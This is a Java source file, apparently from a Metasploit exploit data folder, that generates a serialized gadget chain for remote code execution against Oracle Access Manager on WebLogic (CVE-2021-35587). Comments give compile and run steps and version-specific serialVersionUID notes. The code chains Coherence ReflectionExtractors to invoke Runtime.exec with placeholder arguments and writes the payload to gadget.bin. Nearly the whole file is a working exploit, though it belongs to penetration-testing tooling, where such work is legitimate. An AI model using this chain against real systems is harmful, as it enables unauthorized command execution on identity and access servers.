Files
metasploit-gs/data/exploits/CVE-2021-35587/gadget.java
T

136 lines
6.0 KiB
Java

// This gadget chain targets Oracle Access Manager on WebLogic (CVE-2021-35587) and is based upon:
// * Y4er: https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
// * Jang: https://twitter.com/testanull/status/1502114473989279744
//
// Tested against Oracle Access Manager version:
// * 12.2.1.4.0
// * 12.2.1.3.0
//
// Note: The classes used in this chain do not have a serialVersionUID explicitly defined, so the JVM will compute one.
// This has the effect that if the class changes between versions, the computed serialVersionUID will differ between
// versions. As such we need to account for this, and generate the gadget for the different versions.
//
// We collect these JAR files from the OAM install (actually part of the WebLogic application server).
// $ sha1sum **/*
// 6de9309c3bcbc0478da85a8f60325c4ee5419cf1 12.2.1.3.0/coherence.jar
// d58cf115884e1ae76fb0e7b8e022f7447af63a66 12.2.1.3.0/com.bea.core.weblogic.rmi.client.jar
// ba45c235668885dff671eff34ee1b6ca57aefa6a 12.2.1.4.0/coherence.jar
// d3f2e0778774123ae19654ad0960600bddf79389 12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar
//
// We can see the serialVersionUID changes for the classes in coherence.jar, for example:
// $ serialver -classpath 12.2.1.3.0/coherence.jar com.tangosol.util.comparator.ExtractorComparator
// com.tangosol.util.comparator.ExtractorComparator: private static final long serialVersionUID = -339238653537079588L;
// $ serialver -classpath 12.2.1.4.0/coherence.jar com.tangosol.util.comparator.ExtractorComparator
// com.tangosol.util.comparator.ExtractorComparator: private static final long serialVersionUID = -453812047863165663L;
//
// We can see the serialVersionUID does not change for BasicServiceContext:
// $ serialver -classpath 12.2.1.3.0/com.bea.core.weblogic.rmi.client.jar weblogic.rmi.provider.BasicServiceContext
// weblogic.rmi.provider.BasicServiceContext: private static final long serialVersionUID = -1989708991725000930L;
// $ serialver -classpath 12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar weblogic.rmi.provider.BasicServiceContext
// weblogic.rmi.provider.BasicServiceContext: private static final long serialVersionUID = -1989708991725000930L;
//
// Compile with:
// $ javac -cp 12.2.1.4.0/coherence.jar:12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar gadget.java
//
// Run with:
// $ java --add-opens java.base/java.util=ALL-UNNAMED -cp 12.2.1.4.0/coherence.jar:12.2.1.4.0/com.bea.core.weblogic.rmi.client.jar:. gadget
//
// Save the output for that version:
// $ mv gadget.bin gadget_12.2.1.4.0.bin
//
// We then get the following gadget chains:
// $ sha1sum *.bin
// 1326ef6fe634e2e2bb83705507d766efbfcfc141 gadget_12.2.1.3.0.bin
// fad1e1e243dd9aca09658893737341008ef27096 gadget_12.2.1.4.0.bin
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
// coherence.jar
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.comparator.ExtractorComparator;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
// com.bea.core.weblogic.rmi.client.jar
import weblogic.rmi.provider.BasicServiceContext;
public class gadget {
public static void main(String[] args) throws Exception
{
ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});
ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}});
ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"EXEC_ARG0", "EXEC_ARG1", "EXEC_ARG2"}});
ValueExtractor[] valueExtractors = new ValueExtractor[]{
reflectionExtractor1,
reflectionExtractor2,
reflectionExtractor3,
};
Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});
ValueExtractor[] valueExtractors1 = new ValueExtractor[]{
reflectionExtractor
};
ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
m_aExtractor.set(chainedExtractor1, valueExtractors);
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] queueArray = (Object[]) field.get(queue);
queueArray[0] = Runtime.class;
queueArray[1] = "1";
BasicServiceContext bsc = new BasicServiceContext(1, queue, false);
byte[] bytes = serialize(bsc);
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
System.out.println(sb.toString());
FileOutputStream fos = new FileOutputStream("gadget.bin");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(bsc);
os.close();
//deserialize(bytes);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
objOut.flush();
objOut.close();
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}